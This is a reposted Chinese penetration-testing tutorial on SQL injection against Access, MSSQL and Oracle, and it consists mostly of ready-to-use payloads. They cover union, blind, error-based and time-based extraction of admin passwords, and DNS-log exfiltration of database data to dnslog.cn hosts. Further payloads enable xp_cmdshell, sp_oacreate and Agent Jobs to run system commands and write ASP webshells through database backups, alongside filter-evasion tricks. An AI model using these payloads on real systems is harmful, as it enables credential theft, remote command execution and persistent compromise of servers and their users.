热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

sql盲注特点_SQL注入第二章——access,mssql,oracle

一、Access注入Access是轻量级数据库,特点是没有库,没有用户,单文件即可存储数据,在SQL注入时必须猜测表名和列名

021a861023d9af41e5f6b21ba17bedf9.png

一、Access注入

Access是轻量级数据库,特点是没有库,没有用户,单文件即可存储数据,在SQL注入时必须猜测表名和列名。

Access只有联合注入和布尔盲注。

1,联合注入

http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=151 order by 1
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=151 order by 22
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,password,4,5,6,7,8,9,10,11,12,13,14,admin,16,17,18,19,20,21,22 from admin

2,布尔盲注

http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select * from admin)
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select password from admin)
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 len(password) from admin)=16
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(password,1,1)) from admin)=97

3,如何查询第二行的值

id=1513 union select 1,2,password,4,5,6,7,8,9,10,11,12,13,14,admin,16,17,18,19,20,21,22 from admin
id=1513 union select 1,2,password,4,5,6,7,8,9,10,11,12,13,14,admin,16,17,18,19,20,21,22 from admin where id=40
id=1513 union select 1,2,password,4,5,6,7,8,9,10,11,12,13,14,admin,16,17,18,19,20,21,22 from admin where admin not in ('admin')
id=1513 union select 1,2,(select top 1 password from (select top 2 * from admin order by 1 desc)),4,5,6,7,8,9,10,11,12,13,14, (select top 1 admin from (select top 2 * from admin order by 1 desc)),16,17,18,19,20,21,22 from admin

4,access猜列名的一些特殊解法

利用having爆列

select id,admin,password from admin where id=1 group by 1 having 1=1
select id,admin,password from admin where id=1,id group by 1 having 1=1
select id,admin,password from admin where id=1 group by 1,id having 1=1
select id,admin,password from admin where id=1 group by 1,id,admin having 1=1
select * from admin where id=1 having sum(1)=1

偏移注入,需要猜到一个列名,一般是id

id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, * from admin
id=1513 union select 1,2,3,4,5,6,7,8,9,10, * from (admin as a inner join admin as b on a.id=b.id)
id=1513 union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin as b on a.id=b.id)
id=1513 union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
id=1513 union select 1,2,3,4,* from ((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)

移位溢注

id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, * from admin
id=1513 union select 1,2,3,4,5,6,7,8,9,admin.*,16,17,18,19,20,21,22 from admin
id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,admin.*,19,20,21,22 from admin

联合使用,必须总列数超过admin列数的1/4,上述条件不满足

select 1,2,3,4,5,6,a.*,* from (admin as a inner join admin as b on a.id=b.id)

5,一些tips

access空白符,%20,%09,%0A,%0C,%0D

没有注释,但是有注释符号,%16,%00

select(password)from(admin)
select[password]from[admin]
select`password`from`admin`

IIS特殊之处

允许出现%,比如uni%on select

允许Unicode编码,比如%u0075%u006eion select

这里和和json格式类似,{"id":"u0031"}

双参数则用逗号拼接,id=1&id=2则为id=1,2,联合注入时可以利用

而mysql可以这样id=1 and/*&id=*/1=1

直连导出,备份getshell

select * into [a] in 'E:1.asp;.xls' 'excel 4.0;' from admin

如果数据库文件(.mdb)可解析&#xff0c;在任意值插入【┼攠數畣整爠煥敵瑳∨≡┩愾】&#xff0c;可以解析成<%eval request ("a")%>

无select注入

id &#61; 39 and asc(mid(dfirst("password","admin"),1,1))&#61;97
select dfirst(1,"admin")
select dfirst("password","admin")
select dfirst("[password]","[admin]","id&#61;40")
select dlast("[password]","[admin]")

此外还有dlookup&#xff0c;dmin&#xff0c;dmax&#xff0c;dcount可用

其他davg&#xff0c;dsum&#xff0c;DStDev&#xff0c;DStDevP&#xff0c;DVar&#xff0c;DVarP只能数字类型

其他字符串比较

id &#61; 39 and instr(dfirst("[password]","[admin]","id&#61;40"),&#39;a&#39;)
id &#61; 39 and instr(dfirst("[password]","[admin]","id&#61;40"),&#39;a48e190fafc&#39;)

二、mssql注入

1&#xff0c;联合注入

http://127.0.0.1/1.aspx?id&#61;1 order by 4
http://127.0.0.1/1.aspx?id&#61;-1 union select 1,2,3,4
http://127.0.0.1/1.aspx?id&#61;-1 union all select null,null,null,null
http://127.0.0.1/1.aspx?id&#61;-1 union all select null,db_name(),null,null

查库&#xff0c;前六个都是系统库

(select name from master.dbo.sysdatabases where dbid&#61;7)

指定test库查第一个表

(select top 1 name from test.dbo.sysobjects where xtype&#61;&#39;U&#39;)

查当前库第一个表

(select top 1 name from sysobjects where xtype&#61;&#39;U&#39;)

查当前库第二个表

(select top 1 name from sysobjects where xtype&#61;&#39;U&#39; and name not in (&#39;admin&#39;))

查当前库所有表

(select name from sysobjects where xtype&#61;&#39;U&#39; FOR XML PATH(&#39;&#39;))

查列

(select top 1 name from syscolumns where id&#61;object_id(&#39;admin&#39;))

用|隔开查所有列

(select &#39;|&#39;%2bname%2b&#39;|&#39; from syscolumns where id&#61;object_id(&#39;admin&#39;) FOR XML PATH(&#39;&#39;))

快速变化0来查列

(select top 1 name from syscolumns where id&#61;object_id(&#39;admin&#39;) and name not in (select top 0 name from syscolumns where id&#61;object_id(&#39;admin&#39;)))

查所有值

(select password&#43;username from admin FOR XML PATH(&#39;&#39;))

mysql方式查表列

(select top 1 table_name from information_schema.tables)
(select top 1 column_name from information_schema.columns where table_name&#61;&#39;admin&#39;)

注:子查询如果无法使用&#xff0c;可能需要带入exists()函数

2&#xff0c;报错注入

mssql非常容易报错注入&#xff0c;只需要把字符串和数字比较即可

http://127.0.0.1/1.aspx?id&#61;&#64;&#64;version
http://127.0.0.1/1.aspx?id&#61;1 and &#64;&#64;version&#61;1
http://127.0.0.1/1.aspx?id&#61;1 and 1&#61;convert(int,&#64;&#64;version)
http://127.0.0.1/1.aspx?id&#61;1 and 1&#61;cast(&#64;&#64;version as int)
http://127.0.0.1/1.aspx?id&#61;1%2bUSER_NAME(&#64;&#64;version)

注: USER_NAME()可被SUSER_NAME() PERMISSIONS() DB_NAME()

以及FILE_NAME() TYPE_NAME() COL_NAME()代替

3&#xff0c;盲注

布尔盲注

http://127.0.0.1/1.aspx?id&#61;1 and ascii(substring((select user),1,1))&#61;100

时间盲注

select * from admin where id &#61; 1 if 1&#61;2 WAITFOR DELAY &#39;0:0:5&#39;
http://127.0.0.1/1.aspx?id&#61;1;if(ascii(substring((select user),1,1)))&#61;100 WAITFOR DELAY &#39;0:0:5&#39;

dnslog注入&#xff0c;必须堆叠&#xff0c;必须sa

原理是用xp_subdirs&#xff0c;xp_dirtree, xp_fileexist&#xff0c;读取smb共享域名。也有用OpenRowset()和OpenDatasource()的办法&#xff0c;这两个函数为远程加载其他mssql数据库&#xff0c;默认关闭。

declare &#64;host varchar(1024);
select &#64;host&#61;convert(varchar(1024),db_name())&#43;&#39;.vj0r9q.dnslog.cn&#39;;
exec(&#39;master..xp_subdirs "&#39;&#43;&#64;host&#43;&#39;"&#39;);

或者

exec(&#39;master..xp_dirtree "&#39;&#43;&#64;host&#43;&#39;"&#39;);
exec(&#39;master..xp_fileexist "&#39;&#43;&#64;host&#43;&#39;test"&#39;);

dnslog也有无需堆叠的方法

and exists(select * from fn_xe_file_target_read_file(&#39;C:Windowswin.ini&#39;,&#39;&#39;&#43;(select user)&#43;&#39;.a72ita.dnslog.cn1.xem&#39;,null,null))
and exists(select * from fn_get_audit_file(&#39;&#39;&#43;(select user)&#43;&#39;.a72ita.dnslog.cn1.xem&#39;,null,null))
and exists(select * from fn_trace_gettable(&#39;&#39;&#43;(select user)&#43;&#39;.xrjff0.dnslog.cn1.trc&#39;,null))

4&#xff0c;堆叠注入

mssql默认支持堆叠注入&#xff0c;所以一旦有注入相当于直连数据库&#xff0c;直接进行增删改查&#xff0c;如果有sa权限&#xff0c;还可以利用扩展进行进一步利用。

堆叠注入&#xff0c;可以用declare和exec进行无select注入

declare &#64;s varchar(2000) set &#64;s&#61;0x73656C6563742031 exec(&#64;s)

5&#xff0c;堆叠注入下的扩展运用

xp_cmdshell&#xff0c;命令执行&#xff0c;高版本默认关闭&#xff0c;但可以打开

Exec sp_configure &#39;show advanced options&#39;,1;RECONFIGURE;EXEC sp_configure &#39;xp_cmdshell&#39;,1;RECONFIGURE;
Exec master.dbo.xp_cmdshell &#39;whoami&#39;;

无需堆叠

id&#61;1 if 1&#61;1 execute(&#39;exec sp_configure &#39;&#39;show advanced options&#39;&#39;,1;reconfigure;exec sp_configure &#39;&#39;xp_cmdshell&#39;&#39;, 1;reconfigure;exec xp_cmdshell&#39;&#39;whoami&#39;&#39;&#39;);

openrowset 2005以后默认关闭

exec sp_configure &#39;show advanced options&#39;,1;reconfigure;exec sp_configure &#39;Ad Hoc Distributed Queries&#39;,1;reconfigure;
select * from openrowset(&#39;sqloledb&#39;,&#39;dsn&#61;locaserver;trusted_connection&#61;yes&#39;,&#39;set fmtonly off exec master..xp_cmdshell &#39;&#39;calc&#39;&#39;&#39;)
select x from OpenRowset(BULK &#39;C:Windowswin.ini&#39;,SINGLE_CLOB) R(x)

sp_OACreatesp_oacreate&#xff0c;命令执行&#xff0c;文件操作&#xff0c;无回显

EXEC sp_configure &#39;show advanced options&#39;, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure &#39;Ole Automation Procedures&#39;, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure &#39;show advanced options&#39;, 0;
declare &#64;shell int exec sp_oacreate &#39;wscript.shell&#39;,&#64;shell output exec sp_oamethod &#64;shell,&#39;run&#39;,null,&#39;c:windowssystem32cmd.exe /c whoami >D:1.txt&#39;
DECLARE &#64;Result int;DECLARE &#64;FSO_Token int;EXEC &#64;Result &#61; sp_OACreate &#39;Scripting.FileSystemObject&#39;, &#64;FSO_Token OUTPUT;EXEC &#64;Result &#61; sp_OAMethod &#64;FSO_Token, &#39;DeleteFile&#39;, NULL, &#39;D:1.txt&#39;;EXEC &#64;Result &#61; sp_OADestroy &#64;FSO_Token;
declare &#64;aa int;exec sp_oacreate &#39;scripting.filesystemobject&#39;, &#64;aa out;exec sp_oamethod &#64;aa, &#39;moveFile&#39;,null,&#39;D:1.txt&#39;, &#39;D:2.txt&#39;;
declare &#64;aa int;exec sp_oacreate &#39;scripting.filesystemobject&#39;, &#64;aa out;exec sp_oamethod &#64;aa, &#39;moveFile&#39;,null,&#39;D:1.txt&#39;, &#39;D:2.txt&#39;;
declare &#64;o int;exec sp_oacreate &#39;scripting.filesystemobject&#39;, &#64;o out;exec sp_oamethod &#64;o, &#39;copyfile&#39;,null,&#39;D:1.txt&#39; ,&#39;D:2.txt&#39;;
declare &#64;o int;exec sp_oacreate &#39;Shell.Application&#39;, &#64;o out;exec sp_oamethod &#64;o, &#39;ShellExecute&#39;,null,&#39;C:windowssystem32calc.exe&#39;;

Agent Job执行命令

USE msdb;
EXEC dbo.sp_add_job &#64;job_name &#61; N&#39;test_powershell_job1&#39;;
EXEC sp_add_jobstep &#64;job_name &#61; N&#39;test_powershell_job1&#39;, &#64;step_name &#61; N&#39;test_powershell_name1&#39;, &#64;subsystem &#61; N&#39;PowerShell&#39;, &#64;command &#61; N&#39;c:windowssystem32cmd.exe /c whoami >c:1.txt&#39;, &#64;retry_attempts &#61; 1, &#64;retry_interval &#61; 5 ;
EXEC dbo.sp_add_jobserver &#64;job_name &#61; N&#39;test_powershell_job1&#39;;
EXEC dbo.sp_start_job N&#39;test_powershell_job1&#39;;

CLR程序集

MSSQL使用CLR程序集来执行命令 - 先知社区

沙盒执行命令&#xff08;可能仅限低版本&#xff09;

exec master..xp_regwrite &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWAREMicrosoftJet4.0Engines&#39;,&#39;SandBoxMode&#39;,&#39;REG_DWORD&#39;,1
select * from openrowset(&#39;microsoft.jet.oledb.4.0&#39;,&#39;;database&#61;c:windowssystem32iasdnary.mdb&#39;,&#39;select shell("whoami")&#39;)

sp_makewebtask&#xff08;仅限低版本&#xff09;

exec sp_configure &#39;show advanced options&#39;, 1;RECONFIGURE;exec sp_configure &#39;Web Assistant Procedures&#39;,1;RECONFIGURE;
exec sp_makewebtask &#39;D:1.asp&#39;,&#39;select&#39;&#39;<%execute(request("a"))%>&#39;&#39; &#39;;

xp_dirtreexp_subdirs&#xff0c;列文件&#xff0c;xp_fileexist确定文件是否存在

execute master..xp_dirtree &#39;c:&#39;,1,1
execute master..xp_subdirs &#39;c:&#39;
execute master..xp_fileexist &#39;D:test.txt&#39;

xp_regenumvalues&#xff0c;xp_regread&#xff0c;xp_regwrite&#xff0c;xp_regdeletevalue&#xff0c;xp_regdeletekey&#xff0c;注册表操作。

exec xp_regenumvalues&#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWAREMicrosoftWindowsCurrentVersionRun&#39;
EXEC master..xp_regenumvalues &#39;HKEY_CURRENT_USER&#39;,&#39;Control PanelInternational&#39;,&#39;sCountry&#39;;

sp_helpextendedproc&#xff0c;查看全部扩展

EXEC master..sp_helpextendedproc

xp_availablemedia&#xff0c;查看驱动器

exec master..xp_availablemedia

xp_logininfo&#xff0c;xp_enumgroups&#xff0c;查看计算机用户和组

exec xp_logininfo

sp_who2&#xff0c;查看登录账户

EXEC master..sp_who2

sp_addlinkedserversp_addlinkedsrvlogin

可登陆其他mssql和Oracle

6&#xff0c;文件读取和写入

BULK INSERT文件读取

create table #testtable(context ntext);BULK INSERT #testtable FROM &#39;D:/test.txt&#39; WITH (DATAFILETYPE &#61; &#39;char&#39;,KEEPNULLS);select * from #testtable;drop table #testtable;

数据库备份

create table [bin_cmd]([cmd] [image]);declare &#64;a sysname,&#64;s nvarchar(4000)select &#64;a&#61;db_name(),&#64;s&#61;0x62696E backup database &#64;a to disk&#61;&#64;s;insert into [bin_cmd](cmd)values(&#39;<%execute/**/(request(chr(35)))%>&#39;);declare &#64;b sysname,&#64;t nvarchar(4000)select &#64;b&#61;db_name(),&#64;t&#61;&#39;E:bin.asp&#39; backup database &#64;b to disk&#61;&#64;t WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];

日志备份

create table [bin_cmd]([cmd] [image]);declare &#64;a sysname,&#64;s nvarchar(4000)select &#64;a&#61;db_name(),&#64;s&#61;0x62696E backup log &#64;a to disk&#61;&#64;s;insert into [bin_cmd](cmd)values(&#39;<%execute/**/(request(chr(35)))%>&#39;);declare &#64;b sysname,&#64;t nvarchar(4000)select &#64;b&#61;db_name(),&#64;t&#61;&#39;e:1.asp&#39; backup log &#64;b to disk&#61;&#64;t with init,no_truncate;drop table [bin_cmd];

7&#xff0c;一些tips

mssql自带函数

&#64;&#64;version system_user suser_sname() user db_name() host_name()

mssql空白符

%01-%20都为空白符&#xff0c;--和/**/为注释&#xff0c;%00也可充当注释符

其他方式

id&#61;0xunion selectNnull,null,null,null from.admin

避免使用引号

(select top 1 name from syscolumns where id&#61;object_id(&#39;admin&#39;))
(select top 1 name from syscolumns where id&#61;object_id(char(97)&#43;char(100)&#43;char(109)&#43;char(105)&#43;char(110)))

爆出当前完整语句

id&#61;1 union select null,(select text from sys.dm_exec_requests cross apply sys.dm_exec_sql_text(sql_handle)),null,null

三、oracle注入

1&#xff0c;联合注入

必须使用null&#xff0c;select必须带一个虚拟表 from dual

http://127.0.0.1:81/oracle.php?id&#61;1 order by 3
http://127.0.0.1:81/oracle.php?id&#61;-1 union select null,(select user from dual),null from dual

当前库名

select name from v$database

ip地址&#xff0c;ipv6

select utl_inaddr.get_host_address from dual

用户权限

select privilege from session_privs where rownum&#61;1

查库

select owner from all_tables where rownum&#61;1

查其他库

select owner from all_tables where rownum&#61;1 and owner <>&#39;SYS&#39;

查第一个表

select table_name from user_tables where rownum&#61;1

快速查询第二个表

select table_name from (select rownum r, table_name from user_tables order by table_name) WHERE r&#61;2

查询第一个列

select column_name from user_tab_columns where rownum&#61;1 and table_name&#61;&#39;admin&#39;

查询第一个值

select concat(username,password) from admin where rownum&#61;1
select username||password from admin where rownum&#61;1

2&#xff0c;报错注入

oracle报错注入也很简单&#xff0c;和1比较或者is not null即可

and 1&#61;utl_inaddr.get_host_name((select user from dual))
and 1&#61;ctxsys.drithsx.sn(1,(select user from dual))
and 1&#61;ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null
and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null
and (select dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null

3&#xff0c;盲注

布尔盲注&#xff0c;decode和if一样

and 6&#61;length(user)
and 83&#61;(select ascii(substr((select user from dual),1,1)) from dual)
and 1&#61;(select decode(substr((select user from dual),1,1),chr(83),1,0) from dual)

时间盲注

and 1&#61;(select decode(substr((select user from dual),1,1),chr(83),DBMS_PIPE.RECEIVE_MESSAGE(CHR(78),2),0) from dual)
and 1&#61;(select decode(substr((select user from dual),1,1),chr(83),(select count(*) from all_objects),0) from dual)

(select count(*) from all_objects)是类似笛卡尔积的高耗时操作&#xff0c;如果时间不明显&#xff0c;可以(select count(*) from all_objects)||(select count(*) from all_objects)加倍时间

dnslog盲注

and utl_http.request(&#39;http://&#39;||(select user from dual)||&#39;.0n7kdm.dnslog.cn/&#39;)&#61;1
and UTL_INADDR.GET_HOST_ADDRESS((select user from dual)||&#39;.7vkm67.dnslog.cn&#39;)&#61;1

4&#xff0c;oracle tips

Oracle空白符%00 %0A %0D %0C %09 %20

注释&#xff0c;同样支持/**/和--

避免使用引号

and user&#61;&#39;SYSTEM&#39;
and user&#61;chr(83)||chr(89)||chr(83)||chr(84)||chr(69)||chr(77)

上篇——珂字辈&#xff1a;sql注入第一章——mysql

觉得还不错的可以关注一下公众号——珂技知识分享&#xff0c;有些渗透实例会发布在上面。

96e5dd08eb9d565feca9460b52269e44.png
公众号


推荐阅读
  • 如何查询zone下的表的信息
    本文介绍了如何通过TcaplusDB知识库查询zone下的表的信息。包括请求地址、GET请求参数说明、返回参数说明等内容。通过curl方法发起请求,并提供了请求示例。 ... [详细]
  • android listview OnItemClickListener失效原因
    最近在做listview时发现OnItemClickListener失效的问题,经过查找发现是因为button的原因。不仅listitem中存在button会影响OnItemClickListener事件的失效,还会导致单击后listview每个item的背景改变,使得item中的所有有关焦点的事件都失效。本文给出了一个范例来说明这种情况,并提供了解决方法。 ... [详细]
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • 本文介绍了如何使用PHP向系统日历中添加事件的方法,通过使用PHP技术可以实现自动添加事件的功能,从而实现全局通知系统和迅速记录工具的自动化。同时还提到了系统exchange自带的日历具有同步感的特点,以及使用web技术实现自动添加事件的优势。 ... [详细]
  • GetWindowLong函数
    今天在看一个代码里头写了GetWindowLong(hwnd,0),我当时就有点费解,靠,上网搜索函数原型说明,死活找不到第 ... [详细]
  • 生成式对抗网络模型综述摘要生成式对抗网络模型(GAN)是基于深度学习的一种强大的生成模型,可以应用于计算机视觉、自然语言处理、半监督学习等重要领域。生成式对抗网络 ... [详细]
  • 在Android开发中,使用Picasso库可以实现对网络图片的等比例缩放。本文介绍了使用Picasso库进行图片缩放的方法,并提供了具体的代码实现。通过获取图片的宽高,计算目标宽度和高度,并创建新图实现等比例缩放。 ... [详细]
  • VScode格式化文档换行或不换行的设置方法
    本文介绍了在VScode中设置格式化文档换行或不换行的方法,包括使用插件和修改settings.json文件的内容。详细步骤为:找到settings.json文件,将其中的代码替换为指定的代码。 ... [详细]
  • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
    本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
  • 这是原文链接:sendingformdata许多情况下,我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单,但是 ... [详细]
  • 本文介绍了数据库的存储结构及其重要性,强调了关系数据库范例中将逻辑存储与物理存储分开的必要性。通过逻辑结构和物理结构的分离,可以实现对物理存储的重新组织和数据库的迁移,而应用程序不会察觉到任何更改。文章还展示了Oracle数据库的逻辑结构和物理结构,并介绍了表空间的概念和作用。 ... [详细]
  • 本文介绍了Java工具类库Hutool,该工具包封装了对文件、流、加密解密、转码、正则、线程、XML等JDK方法的封装,并提供了各种Util工具类。同时,还介绍了Hutool的组件,包括动态代理、布隆过滤、缓存、定时任务等功能。该工具包可以简化Java代码,提高开发效率。 ... [详细]
  • 如何使用Java获取服务器硬件信息和磁盘负载率
    本文介绍了使用Java编程语言获取服务器硬件信息和磁盘负载率的方法。首先在远程服务器上搭建一个支持服务端语言的HTTP服务,并获取服务器的磁盘信息,并将结果输出。然后在本地使用JS编写一个AJAX脚本,远程请求服务端的程序,得到结果并展示给用户。其中还介绍了如何提取硬盘序列号的方法。 ... [详细]
  • Android JSON基础,音视频开发进阶指南目录
    Array里面的对象数据是有序的,json字符串最外层是方括号的,方括号:[]解析jsonArray代码try{json字符串最外层是 ... [详细]
  • 本文讨论了在openwrt-17.01版本中,mt7628设备上初始化启动时eth0的mac地址总是随机生成的问题。每次随机生成的eth0的mac地址都会写到/sys/class/net/eth0/address目录下,而openwrt-17.01原版的SDK会根据随机生成的eth0的mac地址再生成eth0.1、eth0.2等,生成后的mac地址会保存在/etc/config/network下。 ... [详细]
author-avatar
手机用户2702934045
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有